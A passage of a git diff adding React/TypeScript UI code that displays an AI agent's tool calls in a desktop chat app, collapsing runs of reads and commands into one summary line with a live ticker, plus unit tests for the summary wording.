+  // in the composer status stack rather than a bulky inline card. Uses the same
+  // detected target the old inline card did. Idempotent + dedup'd, so re-renders
+  // don't churn.
+  const previewTarget = view.previewTarget
+  // The session whose transcript this row is IN, which is not necessarily the
+  // primary one: a tool row inside a session tile must feed that tile's composer.
+  const { $cwd: $sessionCwd, $runtimeId: $sessionRuntimeId } = useSessionView()
+
+  useEffect(() => {
+    if (isPending || !previewTarget || !isPreviewableTarget(previewTarget)) {
+      return
+    }
+
+    // Read (don't subscribe) session/cwd: this only fires when a previewable
+    // target appears, and subscribing re-rendered every tool row on any session
+    // or cwd change.
+    const sessionId = $sessionRuntimeId.get()
+
+    if (sessionId) {
+      recordPreviewArtifact(sessionId, previewTarget, $sessionCwd.get() || '')
+    }
+  }, [$sessionCwd, $sessionRuntimeId, isPending, previewTarget])
+
+  const detailSections = useMemo(() => {
+    if (!view.detail) {
+      return { body: '', summary: '' }
+    }
+
+    if (view.status !== 'error') {
+      return { body: view.detail, summary: '' }
+    }
+
+    const chunks = view.detail
+      .split(/\n\s*\n+/)
+      .map(chunk => chunk.trim())
+      .filter(Boolean)
+
+    const [summary = '', ...rest] = chunks
+    const subtitleNorm = normalize(view.subtitle)
+    const summaryDuplicatesSubtitle = summary && summary.toLowerCase() === subtitleNorm
+
+    if (summaryDuplicatesSubtitle) {
+      return { body: rest.join('\n\n').trim(), summary: '' }
+    }
+
+    return { body: rest.join('\n\n').trim(), summary }
+  }, [view.detail, view.status, view.subtitle])
+
+  // `looksRedundant` normalizes the FULL (uncapped) detail payload — a
+  // read_file / terminal result can be huge. Memoize on the view fields so it
+  // recomputes only when the tool's content changes, not on every parent
+  // re-render (tool rows re-render on every stream tick of the running message).
+  const detailMatchesSubtitle = useMemo(() => looksRedundant(view.subtitle, view.detail), [view.subtitle, view.detail])
+  const detailMatchesTitle = useMemo(() => looksRedundant(view.title, view.detail), [view.title, view.detail])
+
+  const showDetail =
+    !view.inlineDiff &&
+    (Boolean(view.stdout || view.stderr) ||
+      (view.status === 'error' && Boolean(detailSections.summary || detailSections.body)) ||
+      (view.status !== 'error' && Boolean(view.detail) && !detailMatchesTitle && !detailMatchesSubtitle))
+
+  const renderDetailAsCode =
+    view.status !== 'error' &&
+    (part.toolName === 'terminal' || part.toolName === 'execute_code' || part.toolName === 'read_file')
+
+  const hasSearchHits = Boolean(view.searchHits?.length)
+  const searchResultsLabel = part.toolName === 'web_search' ? 'Search results' : view.detailLabel
+
+  const hasExpandableContent = Boolean(
+    view.imageUrl ||
+    view.inlineDiff ||
+    showDetail ||
+    hasSearchHits ||
+    view.stdout ||
+    view.stderr ||
+    view.terminalCommand ||
+    view.terminalExitCode !== undefined ||
+    toolViewMode === 'technical'
+  )
+
+  // copyAction reads the uncapped view.detail; clampForDisplay below only bounds
+  // what's painted, so the row's Copy button still yields the full output.
+  const copyAction = useMemo(() => toolCopyPayload(stablePart, view), [stablePart, view])
+
+  const diffStats = useMemo(
+    () => (isFileEdit && view.inlineDiff ? countDiffLineStats(view.inlineDiff) : null),
+    [isFileEdit, view.inlineDiff]
+  )
+
+  const showDiffStats = !isPending && Boolean(diffStats && (diffStats.added > 0 || diffStats.removed > 0))
+
+  // Landed memory write gets gold→purple chrome instead of the plain scaffold grey.
+  const memoryLegendary = !isPending && part.toolName === 'memory' && view.status === 'success'
+  const memoryMetaClass = memoryLegendary ? 'tool-memory-legendary-meta' : undefined
+
+  // The header trailing slot only carries the live duration timer while the
+  // tool is running. The copy control used to live here too, but an
+  // `opacity-0` (yet still clickable) button straddling the caret/duration made
+  // the disclosure caret hard to hit. Copy now lives in the expanded body's
+  // top-right, where it can't fight the caret for the right edge.
+  const trailing =
+    isPending && !embedded ? <ActivityTimerText className={SCAFFOLD_META_CLASS} seconds={elapsed} /> : undefined
+
+  // Once a turn has settled, a hover/focus-revealed dismiss lets the user clear
+  // a completed/failed row that would otherwise sit at the tail of the chat.
+  // It goes in the in-flow `action` slot (not `trailing`) so it can't overlap
+  // the disclosure caret's hit-target — see the comment above `trailing`.
+  const dismissAction = canDismiss ? (
+    <Tip label={statusCopy.dismiss}>
+      <Button
+        aria-label={statusCopy.dismiss}
+        className={cn(
+          'size-5 rounded-md text-(--ui-text-tertiary) transition-opacity hover:text-(--ui-text-primary) hover:opacity-100',
+          open
+            ? 'opacity-80'
+            : 'opacity-0 group-hover/disclosure-row:opacity-80 group-focus-within/disclosure-row:opacity-80'
+        )}
+        onClick={event => {
+          event.stopPropagation()
+          dismissToolRow(disclosureId)
+        }}
+        size="icon-xs"
+        type="button"
+        variant="ghost"
+      >
+        <Codicon name="close" size="0.75rem" />
+      </Button>
+    </Tip>
+  ) : undefined
+
+  if (dismissed) {
+    return null
+  }
+
+  // A completed file edit with no diff to review is a bare, unexpandable row.
+  // This is almost always a `write_file` create after a reload: only `patch`
+  // persists its diff in the tool result, so creates rehydrate diff-less and
+  // read like dead duplicates of the real diff row. Hide them — but keep
+  // in-flight writes (activity) and failures (errors) visible.
+  if (isFileEdit && !isPending && view.status !== 'error' && !view.inlineDiff) {
+    return null
+  }
+
+  return (
+    <div
+      className={cn(
+        'group/tool-block min-w-0 max-w-full overflow-hidden text-[length:var(--conversation-tool-font-size)] text-(--ui-text-tertiary)',
+        open && TOOL_EXPANDED_SHELL_CLASS
+      )}
+      data-conversation-scaffold=""
+      data-file-edit={isFileEdit && open ? '' : undefined}
+      data-slot="tool-block"
+      data-tool-open={open ? '' : undefined}
+      data-tool-row=""
+      ref={enterRef}
+    >
+      <div className={cn(open && 'border-b border-(--ui-stroke-tertiary) px-2 py-1.5')}>
+        <DisclosureRow
+          action={dismissAction}
+          onToggle={hasExpandableContent ? () => setToolDisclosureOpen(disclosureId, !open) : undefined}
+          open={open}
+          trailing={trailing}
+        >
+          <span
+            className="flex min-w-0 items-center gap-1.5"
+            title={isFileEdit && view.subtitle ? view.subtitle : undefined}
+          >
+            <ToolGlyph
+              copy={copy}
+              filePath={isFileEdit ? view.subtitle : undefined}
+              icon={view.icon}
+              legendary={memoryLegendary}
+              status={leadingStatus(isPending, view.status)}
+            />
+            <ToolTitle
+              isPending={isPending}
+              legendary={memoryLegendary}
+              status={view.status}
+              title={view.title}
+              titleAction={view.titleAction}
+            />
+            {!isPending && view.countLabel && (
+              <span className={cn(SCAFFOLD_META_CLASS, memoryMetaClass)}>{view.countLabel}</span>
+            )}
+            {showDiffStats && diffStats && (
+              <span className="flex shrink-0 items-center gap-1 font-mono text-[0.625rem] tabular-nums">
+                {diffStats.added > 0 && (
+                  <span className="text-emerald-600 dark:text-emerald-400">+{diffStats.added}</span>
+                )}
+                {diffStats.removed > 0 && (
+                  <span className="text-rose-600 dark:text-rose-400">−{diffStats.removed}</span>
+                )}
+              </span>
+            )}
+            {!isFileEdit && !isPending && view.durationLabel && (
+              <span className={cn(SCAFFOLD_META_CLASS, memoryMetaClass)}>{view.durationLabel}</span>
+            )}
+          </span>
+        </DisclosureRow>
+      </div>
+      {isPending && <PendingToolApproval part={part} />}
+      {open && (
+        <div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
+          {copyAction.text && (
+            <CopyButton
+              appearance="inline"
+              className="absolute right-4 top-1.5 z-10 h-5 gap-0 rounded-md px-1 opacity-5 transition-opacity group-hover/tool-block:opacity-100 hover:opacity-100 focus-visible:opacity-100"
+              iconClassName="size-3"
+              label={copyAction.label}
+              showLabel={false}
+              side="left"
+              stopPropagation
+              text={copyAction.text}
+            />
+          )}
+          {part.toolName === 'terminal' && toolViewMode !== 'technical' && (
+            <TerminalTranscript command={view.terminalCommand} exitCode={view.terminalExitCode} />
+          )}
+          {view.imageUrl && (
+            <div className="max-w-72 overflow-hidden rounded-[0.25rem] border border-(--ui-stroke-tertiary)">
+              <ZoomableImage alt={copy.outputAlt} className="h-auto w-full object-cover" src={view.imageUrl} />
+            </div>
+          )}
+          {hasSearchHits && view.searchHits && (
+            <div className="max-w-full text-xs leading-relaxed text-(--ui-text-secondary)">
+              {view.searchQuery && (
+                <p className="mb-1 flex min-w-0 gap-1.5 wrap-anywhere">
+                  <span className="shrink-0 font-medium text-(--ui-text-tertiary)">Search</span>
+                  <span>{view.searchQuery}</span>
+                </p>
+              )}
+              {searchResultsLabel && <p className={TOOL_SECTION_LABEL_CLASS}>{searchResultsLabel}</p>}
+              <SearchResultsList hits={view.searchHits} />
+            </div>
+          )}
+          {view.inlineDiff && (
+            <FileDiffPanel className="-mt-1.5" diff={view.inlineDiff} path={isFileEdit ? view.subtitle : undefined} />
+          )}
+          {showDetail &&
+            toolViewMode !== 'technical' &&
+            (view.status === 'error' ? (
+              detailSections.summary || detailSections.body ? (
+                <div className="max-w-full text-xs leading-relaxed text-destructive">
+                  {detailSections.summary && (
+                    <LinkifiedText className="block font-medium" text={detailSections.summary} />
+                  )}
+                  {detailSections.body && (
+                    <pre
+                      className={cn(
+                        'max-h-56 overflow-auto whitespace-pre-wrap wrap-anywhere font-mono text-[0.7rem] leading-[1.55] text-destructive/90',
+                        detailSections.summary && 'mt-1.5'
+                      )}
+                    >
+                      {clampForDisplay(detailSections.body)}
+                    </pre>
+                  )}
+                </div>
+              ) : null
+            ) : view.stdout || view.stderr ? (
+              // Stdout + stderr split: render both as labeled blocks. stderr
+              // is intentionally NOT painted destructive — many CLIs log
+              // informational output there.
+              <div className="max-w-full text-xs leading-relaxed text-(--ui-text-secondary)">
+                {view.detailLabel && <p className={TOOL_SECTION_LABEL_CLASS}>{view.detailLabel}</p>}
+                {view.stdout && (
+                  <div className="space-y-0.5">
+                    {view.stderr && <p className={TOOL_SECTION_LABEL_CLASS}>stdout</p>}
+                    <pre className={cn(TOOL_SECTION_PRE_CLASS, 'whitespace-pre-wrap wrap-anywhere')}>
+                      {view.rendersAnsi ? (
+                        <AnsiText text={clampForDisplay(view.stdout)} />
+                      ) : (
+                        clampForDisplay(view.stdout)
+                      )}
+                    </pre>
+                  </div>
+                )}
+                {view.stderr && (
+                  <div className={cn('space-y-0.5', view.stdout && 'mt-1.5')}>
+                    <p className={TOOL_SECTION_LABEL_CLASS}>stderr</p>
+                    <pre
+                      className={cn(
+                        TOOL_SECTION_PRE_CLASS,
+                        'whitespace-pre-wrap wrap-anywhere text-(--ui-text-tertiary)'
+                      )}
+                    >
+                      {view.rendersAnsi ? (
+                        <AnsiText text={clampForDisplay(view.stderr)} />
+                      ) : (
+                        clampForDisplay(view.stderr)
+                      )}
+                    </pre>
+                  </div>
+                )}
+              </div>
+            ) : (
+              <div className="max-w-full text-xs leading-relaxed text-(--ui-text-secondary)">
+                {view.detailLabel && <p className={TOOL_SECTION_LABEL_CLASS}>{view.detailLabel}</p>}
+                {renderDetailAsCode ? (
+                  <pre className={cn(TOOL_SECTION_PRE_CLASS, 'whitespace-pre-wrap wrap-anywhere')}>
+                    {view.rendersAnsi ? <AnsiText text={clampForDisplay(view.detail)} /> : clampForDisplay(view.detail)}
+                  </pre>
+                ) : (
+                  <CompactMarkdown
+                    className={cn(TOOL_SECTION_SURFACE_CLASS, 'wrap-anywhere')}
+                    text={clampForDisplay(view.detail)}
+                  />
+                )}
+              </div>
+            ))}
+          {toolViewMode === 'technical' && <ToolPayloadDisclosure args={part.args} result={part.result} />}
+        </div>
+      )}
+    </div>
+  )
+}
+
+interface TerminalTranscriptProps {
+  command?: string
+  exitCode?: number
+}
+
+function TerminalTranscript({ command, exitCode }: TerminalTranscriptProps) {
+  if (!command && exitCode === undefined) {
+    return null
+  }
+
+  return (
+    <div className="flex min-w-0 items-center gap-2 rounded-[0.25rem] border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) px-2 py-1.5 font-mono text-[0.7rem] leading-relaxed">
+      {command && (
+        <code className="min-w-0 flex-1 whitespace-pre-wrap wrap-anywhere text-(--ui-text-secondary)">
+          <span aria-hidden className="select-none text-(--ui-accent-secondary)">
+            ${' '}
+          </span>
+          {command}
+        </code>
+      )}
+      {exitCode !== undefined && (
+        <span
+          className={cn(
+            'shrink-0 rounded bg-(--ui-bg-tertiary) px-1 py-px text-[0.6rem] tabular-nums',
+            exitCode === 0 ? 'text-emerald-600 dark:text-emerald-400' : 'text-amber-600 dark:text-amber-400'
+          )}
+        >
+          exit {exitCode}
+        </span>
+      )}
+    </div>
+  )
+}
+
+// Tools that draw their own surface and must never be folded into a run's
+// summary live in `fallback-model` (`isCardTool`) — the DOM render budget
+// prices a turn by the same rule, so both sides have to agree on which rows
+// collapse into a summary line and which mount their own markup.
+
+export type RunItem = { end: number; kind: 'run'; start: number } | { index: number; kind: 'card' }
+
+/**
+ * Split a range of parts into cards and the runs of activity between them.
+ *
+ * Order is preserved rather than sorted into "all the runs, then all the
+ * cards": a turn that reads, edits, then reads again shows a summary, the
+ * diff, then a second summary, in the sequence it happened. Indices are
+ * relative to the range. An empty name is a part that isn't a tool call at
+ * all, which passes through as its own card.
+ */
+export function splitRunItems(toolNames: readonly string[]): RunItem[] {
+  const items: RunItem[] = []
+  let run: null | Extract<RunItem, { kind: 'run' }> = null
+
+  toolNames.forEach((name, index) => {
+    if (!name || isCardTool(name)) {
+      run = null
+      items.push({ index, kind: 'card' })
+
+      return
+    }
+
+    if (run) {
+      run.end = index
+    } else {
+      run = { end: index, kind: 'run', start: index }
+      items.push(run)
+    }
+  })
+
+  return items
+}
+
+/**
+ * The live run, as one line.
+ *
+ * A run in progress shows only what it is doing right now; each new action
+ * slides the one before it up and out of a single-line window, so a turn that
+ * touches thirty files reads as one line ticking over in place instead of a
+ * list growing down the page. When the run settles the ticker goes away and
+ * the summary above it is all that's left.
+ */
+// The one grey line that stands in for a run of tool calls — "Explored 3
+// files, ran 5 commands". Live, it narrates in the present tense above the
+// ticker and offers no toggle, since there is nothing settled to unfold yet.
+function ToolRunHeader({
+  live,
+  onToggle,
+  open,
+  summary
+}: {
+  live: boolean
+  onToggle?: () => void
+  open: boolean
+  summary: string
+}) {
+  return (
+    <div data-conversation-scaffold="" data-tool-summary="">
+      <ScaffoldRow onToggle={onToggle} open={open}>
+        <FadeText className={cn(SCAFFOLD_LABEL_CLASS, 'truncate')}>
+          {live ? <span className="shimmer">{summary}</span> : summary}
+        </FadeText>
+      </ScaffoldRow>
+    </div>
+  )
+}
+
+interface ToolRunState {
+  count: number
+  /** Disclosure id of each row in the run, so the run can tell when one is open. */
+  entryIds: readonly string[]
+  key: string
+  live: boolean
+  /** A call still awaiting a result that could be the one blocking on approval. */
+  pendingApprovalTool: boolean
+  summary: string
+}
+
+// assistant-ui compares selector results with `Object.is` and calls the
+// selector on every store update, so returning a fresh object here would
+// re-render the group on every text delta in the turn. The run only changes
+// when a call arrives or one finishes; cache on exactly that.
+function useToolRun(startIndex: number, endIndex: number): ToolRunState {
+  const cache = useRef<null | { signature: string; value: ToolRunState }>(null)
+
+  return useAuiState(state => {
+    const parts = state.message.parts
+    const tools = parts.slice(Math.max(0, startIndex), endIndex + 1).filter(isToolCallPart)
+
+    // Live means the turn is still working and nothing has come after this run
+    // — not that some call is unresolved. Those differ in the gap between one
+    // call finishing and the next arriving, which for sequential calls is most
+    // of the run: it fell back to past tense there, unmounting the ticker and
+    // dropping its reel to the top instead of scrolling.
+    //
+    // The tail bound is what keeps this honest — a turn that ends, or an agent
+    // that moves on to later parts, leaves the run settled and collapsible.
+    const live = selectMessageRunning(state) && endIndex >= parts.length - 1
+
+    const signature = tools
+      .map(tool => `${tool.toolCallId}:${tool.result === undefined ? 0 : 1}`)
+      .concat(String(live))
+      .join('|')
+
+    if (cache.current?.signature !== signature) {
+      cache.current = {
+        signature,
+        value: {
+          count: tools.length,
+          entryIds: tools.map(tool => toolEntryDisclosureId(state.message.id, tool)),
+          key: tools[0]?.toolCallId ?? '',
+          live,
+          pendingApprovalTool: tools.some(tool => tool.result === undefined && APPROVAL_TOOLS.has(tool.toolName)),
+          summary: summarizeToolRun(tools, live)
+        }
+      }
+    }
+
+    return cache.current.value
+  })
+}
+
+/**
+ * One run of consecutive activity calls, headed by the line that summarizes it.
+ *
+ * The run is identified by its FIRST tool call, never by its position: a live
+ * stream and the same turn rehydrated from history agree on which calls belong
+ * together, but not on the indices they land at, because rehydration folds a
+ * turn into one bubble that the live view spreads over several. Keying off the
+ * index is what made an earlier attempt at this reshuffle the moment a turn
+ * settled. `lib/tool-run-continuity.test.ts` locks that agreement down.
+ *
+ * Live, the run is a summary plus the one-line ticker. Settled, the summary is
+ * the whole of it until the user opens it. `ToolEmbedContext` is false so each
+ * row still owns its own chrome (timer / copy / approval) when shown.
+ */
+const ToolRun: FC<PropsWithChildren<{ endIndex: number; startIndex: number }>> = ({
+  children,
+  endIndex,
+  startIndex
+}) => {
+  const messageRunning = useAuiState(selectMessageRunning)
+  const { count, entryIds, key, live, pendingApprovalTool, summary } = useToolRun(startIndex, endIndex)
+  const sessionId = useStore(useSessionView().$runtimeId)
+  const approval = useStore(useMemo(() => sessionApprovalRequest(sessionId), [sessionId]))
+  const disclosureId = `tool-run:${key}`
+  const persistedOpen = useStore($toolDisclosureOpen(disclosureId))
+  const rowOpen = useStore(useMemo(() => $anyToolDisclosureOpen(entryIds), [entryIds]))
+  const enterRef = useEnterAnimation(messageRunning, `tool-run:${key}`)
+
+  // A lone call is already its own one-line summary; heading it with a second
+  // line would say the same thing twice.
+  if (count < 2) {
+    return <>{children}</>
+  }
+
+  // Two things a one-line window can't hold. An approval is a question the
+  // user has to answer, and expanded output is one they went looking for —
+  // both would tick straight past, or be sliced to a single line, as the run
+  // keeps going. Either one hands the run back its full height until the run
+  // settles and the row can be reached through the summary instead.
+  const blocked = Boolean(approval) && pendingApprovalTool
+  const unfurled = blocked || rowOpen
+  const expanded = live ? unfurled : (persistedOpen ?? false)
+
+  return (
+    <div
+      className="grid min-w-0 max-w-full gap-(--tool-row-gap) overflow-hidden"
+      data-slot="tool-block"
+      data-tool-group=""
+      ref={enterRef}
+    >
+      <ToolRunHeader
+        live={live}
+        onToggle={live ? undefined : () => setToolDisclosureOpen(disclosureId, !expanded)}
+        open={expanded}
+        summary={summary}
+      />
+      {live && !unfurled && <ToolRunTicker>{children}</ToolRunTicker>}
+      {expanded && <div className="grid min-w-0 max-w-full gap-(--tool-row-gap)">{children}</div>}
+    </div>
+  )
+}
+
+/**
+ * A range of consecutive tool calls, split into the cards that must stay on
+ * screen and the runs of activity between them.
+ *
+ * assistant-ui hands the whole adjacent range over as one group; what belongs
+ * together is a narrower question than adjacency. A diff or a question for the
+ * user is the point of the turn and renders in place, while the reads and
+ * commands around it collapse into a line. Splitting here rather than asking
+ * for different ranges keeps the decision next to the rendering that depends
+ * on it.
+ */
+export const ToolGroupSlot: FC<PropsWithChildren<{ endIndex: number; startIndex: number }>> = ({
+  children,
+  endIndex,
+  startIndex
+}) => {
+  // Joined rather than returned as an array: assistant-ui compares selector
+  // results with `Object.is` and re-runs them on every store update, so a
+  // fresh array would re-render the whole group on every text delta.
+  const toolNameKey = useAuiState(state =>
+    state.message.parts
+      .slice(Math.max(0, startIndex), endIndex + 1)
+      .map(part => (part.type === 'tool-call' ? part.toolName : ''))
+      .join('\u0000')
+  )
+
+  const items = useMemo(() => splitRunItems(toolNameKey.split('\u0000')), [toolNameKey])
+  const rows = Children.toArray(children)
+
+  return (
+    <ToolEmbedContext.Provider value={false}>
+      {items.map(item =>
+        item.kind === 'card' ? (
+          <Fragment key={`card:${item.index}`}>{rows[item.index]}</Fragment>
+        ) : (
+          <ToolRun endIndex={startIndex + item.end} key={`run:${item.start}`} startIndex={startIndex + item.start}>
+            {rows.slice(item.start, item.end + 1)}
+          </ToolRun>
+        )
+      )}
+    </ToolEmbedContext.Provider>
+  )
+}
+
+/**
+ * Per-tool fallback. Now strictly returns a single ToolEntry — the
+ * grouping decision lives in ToolGroupSlot above, so this never swaps
+ * its return type and the underlying ToolEntry stays mounted across
+ * group-shape changes.
+ */
+export const ToolFallback = ({ toolCallId, toolName, args, isError, result }: ToolCallMessagePartProps) => {
+  const part: ToolPart = { args, isError, result, toolCallId, toolName, type: 'tool-call' }
+
+  return <ToolEntry part={part} />
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/run-summary.test.ts b/ui-desktop/src/components/assistant-ui/tool/run-summary.test.ts
new file mode 100644
index 000000000..ba47368a0
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/run-summary.test.ts
@@ -0,0 +1,60 @@
+import { describe, expect, it } from 'vitest'
+
+import { summarizeToolRun, type ToolCallLike } from './run-summary'
+
+function tool(toolName: string, args: Record<string, unknown> = {}, result?: unknown): ToolCallLike {
+  return { args, result, toolCallId: `${toolName}-${Math.random()}`, toolName }
+}
+
+const read = (path: string) => tool('read_file', { path }, { content: '' })
+const searched = (query: string) => tool('search_files', { query }, { hits: [] })
+const ran = (command: string) => tool('terminal', { command }, { exit_code: 0 })
+
+const settled = (tools: ToolCallLike[]) => summarizeToolRun(tools, false)
+const running = (tools: ToolCallLike[]) => summarizeToolRun(tools, true)
+
+// A run only ever holds ephemeral activity: reads, searches, commands. File
+// edits and other cards are split out before a run is summarized, so there is
+// no "Edited …" clause to test here — that work shows as its own diff card.
+describe('summarizeToolRun', () => {
+  it('names a lone target and counts the rest', () => {
+    expect(settled([searched('toolRuns'), read('a.ts'), read('b.ts'), read('c.ts')])).toBe('Explored 4 files')
+  })
+
+  it('orders clauses explore then run regardless of call order', () => {
+    expect(settled([ran('ls'), read('a.ts'), read('b.ts'), ran('pwd'), ran('id')])).toBe(
+      'Explored 2 files, ran 3 commands'
+    )
+  })
+
+  it('counts commands rather than naming them once they have run', () => {
+    expect(settled([ran('git status')])).toBe('Ran 1 command')
+    expect(settled([read('status.ts'), ran('a'), ran('b'), ran('c'), ran('d'), ran('e')])).toBe(
+      'Explored status.ts, ran 5 commands'
+    )
+  })
+
+  it('puts the running category in the present tense and leaves the rest past', () => {
+    expect(running([read('a.ts'), tool('read_file', { path: 'b.ts' }), ran('x'), ran('y')])).toBe(
+      'Exploring 2 files, ran 2 commands'
+    )
+  })
+
+  it('names the command that is still running', () => {
+    expect(running([tool('terminal', { command: 'npm run typecheck' })])).toMatch(/^Running /)
+  })
+
+  // Sequential calls leave a gap where the run is still going but nothing is
+  // pending. Falling back to past tense there contradicted the ticker still
+  // scrolling underneath, so the most recent call carries the present tense.
+  it('stays in the present tense between two sequential calls', () => {
+    expect(running([read('a.ts'), ran('x'), ran('y')])).toBe('Explored a.ts, running 2 commands')
+  })
+
+  // A turn can end — or the agent can simply move on — with a call that never
+  // got a result. The run is history at that point and has to read as history,
+  // or it narrates work that stopped happening and never offers its toggle.
+  it('reads a run the turn left unresolved as finished', () => {
+    expect(settled([read('a.ts'), tool('search_files', { query: 'toolRuns' })])).toBe('Explored 2 files')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/tool/run-summary.ts b/ui-desktop/src/components/assistant-ui/tool/run-summary.ts
new file mode 100644
index 000000000..6abf559a3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/run-summary.ts
@@ -0,0 +1,156 @@
+import { summarizeShellCommand } from '@/lib/summarize-command'
+
+import { fileEditBasename, firstStringField, isFileEditTool, parseMaybeObject } from './fallback-model'
+
+/**
+ * The little a summary needs from a tool call, stated structurally so both
+ * shapes of tool part satisfy it — the stored `ChatMessagePart` and the live
+ * one assistant-ui hands to a renderer.
+ */
+export interface ToolCallLike {
+  args?: unknown
+  result?: unknown
+  toolCallId?: string
+  toolName: string
+}
+
+export function isToolCallPart<T extends { type: string }>(part: T): part is Extract<T, { type: 'tool-call' }> {
+  return part.type === 'tool-call'
+}
+
+type RunCategory = 'delegate' | 'edit' | 'explore' | 'other' | 'run'
+
+// Clause order is fixed so the same run always reads the same way, whichever
+// category happens to be live.
+const CATEGORY_ORDER: readonly RunCategory[] = ['edit', 'explore', 'run', 'delegate', 'other']
+
+const CATEGORY_COPY: Record<RunCategory, { noun: [string, string]; past: string; present: string }> = {
+  delegate: { noun: ['task', 'tasks'], past: 'Delegated', present: 'Delegating' },
+  edit: { noun: ['file', 'files'], past: 'Edited', present: 'Editing' },
+  explore: { noun: ['file', 'files'], past: 'Explored', present: 'Exploring' },
+  other: { noun: ['tool', 'tools'], past: 'Used', present: 'Using' },
+  run: { noun: ['command', 'commands'], past: 'Ran', present: 'Running' }
+}
+
+const EXPLORE_TOOLS = new Set([
+  'list_files',
+  'read_file',
+  'search_files',
+  'session_search_recall',
+  'vision_analyze',
+  'web_extract',
+  'web_search'
+])
+
+function toolCategory(toolName: string): RunCategory {
+  if (isFileEditTool(toolName)) {
+    return 'edit'
+  }
+
+  if (toolName === 'terminal' || toolName === 'execute_code') {
+    return 'run'
+  }
+
+  if (toolName === 'delegate_task') {
+    return 'delegate'
+  }
+
+  if (EXPLORE_TOOLS.has(toolName) || toolName.startsWith('browser_')) {
+    return 'explore'
+  }
+
+  return 'other'
+}
+
+function isPending(tool: ToolCallLike): boolean {
+  return tool.result === undefined
+}
+
+/**
+ * How a tool reads while it is happening — "Editing", "Exploring". Shared with
+ * the status line that covers the gap before a tool starts, so the same run is
+ * described in the same words from the moment the model drafts it.
+ */
+export function toolPresentVerb(toolName: string): string {
+  return CATEGORY_COPY[toolCategory(toolName)].present
+}
+
+/** The thing a tool acted on, as the header should name it. */
+function toolTarget(tool: ToolCallLike): string {
+  const args = parseMaybeObject(tool.args)
+
+  if (toolCategory(tool.toolName) === 'run') {
+    return summarizeShellCommand(firstStringField(args, ['command', 'code']))
+  }
+
+  const path = firstStringField(args, ['path', 'file', 'filepath'])
+
+  return path ? fileEditBasename(path) : firstStringField(args, ['query', 'url'])
+}
+
+/**
+ * One clause per category. A category holding a single thing says what it was
+ * ("Edited wiring.tsx"); anything else counts ("explored 3 files"). A settled
+ * command is the exception — "ran 5 commands" is the useful reading, and a
+ * command line only earns its space while it's the thing you're waiting on.
+ */
+function clause(category: RunCategory, tools: ToolCallLike[], live: boolean): string {
+  const copy = CATEGORY_COPY[category]
+  const verb = live ? copy.present : copy.past
+  const target = tools.length === 1 ? toolTarget(tools[0]) : ''
+
+  if (target && (live || category !== 'run')) {
+    return `${verb} ${target}`
+  }
+
+  return `${verb} ${tools.length} ${copy.noun[tools.length === 1 ? 0 : 1]}`
+}
+
+function lowerFirst(text: string): string {
+  return text.charAt(0).toLowerCase() + text.slice(1)
+}
+
+/**
+ * Collapse a run of tool calls into the single grey line that stands in for it
+ * — "Explored 3 files, ran 5 commands". While the run is live, the category
+ * holding its most recent call speaks in the present tense so the line reads as
+ * work in progress rather than work already done.
+ *
+ * Whether the run is `live` is the caller's to say, not something readable off
+ * the calls: a call can be left without a result by a turn that ended or an
+ * agent that moved on, and a run like that has to read as finished rather than
+ * narrate work that stopped happening.
+ *
+ * A run only ever holds ephemeral activity — file edits and other cards are
+ * split out before this sees them (`splitRunItems`), so there is no aggregate
+ * diff to report here; each edit carries its own +N/−M on its card.
+ */
+export function summarizeToolRun(tools: readonly ToolCallLike[], live: boolean): string {
+  // Which clause narrates in the present tense: normally the outstanding call,
+  // but sequential calls leave gaps where the run is still going and nothing is
+  // pending. The most recent call covers those, and it's the one the ticker is
+  // showing anyway.
+  const narrating = live ? (tools.find(isPending) ?? tools.at(-1)) : undefined
+  const liveCategory = narrating ? toolCategory(narrating.toolName) : null
+
+  const byCategory = new Map<RunCategory, ToolCallLike[]>()
+
+  for (const tool of tools) {
+    const category = toolCategory(tool.toolName)
+    const group = byCategory.get(category)
+
+    if (group) {
+      group.push(tool)
+    } else {
+      byCategory.set(category, [tool])
+    }
+  }
+
+  const clauses = CATEGORY_ORDER.flatMap(category => {
+    const group = byCategory.get(category)
+
+    return group ? [clause(category, group, category === liveCategory)] : []
+  })
+
+  return clauses.map((text, index) => (index === 0 ? text : lowerFirst(text))).join(', ')
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/run-ticker.tsx b/ui-desktop/src/components/assistant-ui/tool/run-ticker.tsx
new file mode 100644
index 000000000..07ad0f75d
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/run-ticker.tsx
@@ -0,0 +1,28 @@
+import { Children, type CSSProperties, isValidElement, type ReactNode } from 'react'
+
+/**
+ * A one-line window over a growing list of rows.
+ *
+ * Each new row slides the one before it up and out, so activity that would
+ * otherwise grow down the page reads as a single line ticking over in place.
+ * Rows are clipped to a uniform line box so the reel's offset stays exact
+ * whatever a row happens to contain.
+ *
+ * Shared by the tool run (its calls) and a delegation card (each subagent's
+ * relayed stream), which are the same thing seen from two sides.
+ */
+export function ToolRunTicker({ children }: { children: ReactNode }) {
+  const rows = Children.toArray(children)
+
+  return (
+    <div className="tool-ticker" data-tool-ticker="">
+      <div className="tool-ticker__reel" style={{ '--tool-ticker-index': rows.length - 1 } as CSSProperties}>
+        {rows.map((row, index) => (
+          <div className="tool-ticker__row" key={isValidElement(row) ? (row.key ?? index) : index}>
+            {row}
+          </div>
+        ))}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/tool-group.test.tsx b/ui-desktop/src/components/assistant-ui/tool/tool-group.test.tsx
new file mode 100644
index 000000000..39fa91496
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/tool-group.test.tsx
@@ -0,0 +1,655 @@
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { clearAllPrompts, setApprovalRequest } from '@/store/prompts'
+import { $activeSessionId } from '@/store/session'
+import { clearDismissedToolRows } from '@/store/tool-dismiss'
+import { $toolDisclosureStates } from '@/store/tool-view'
+
+import { Thread } from '../thread'
+
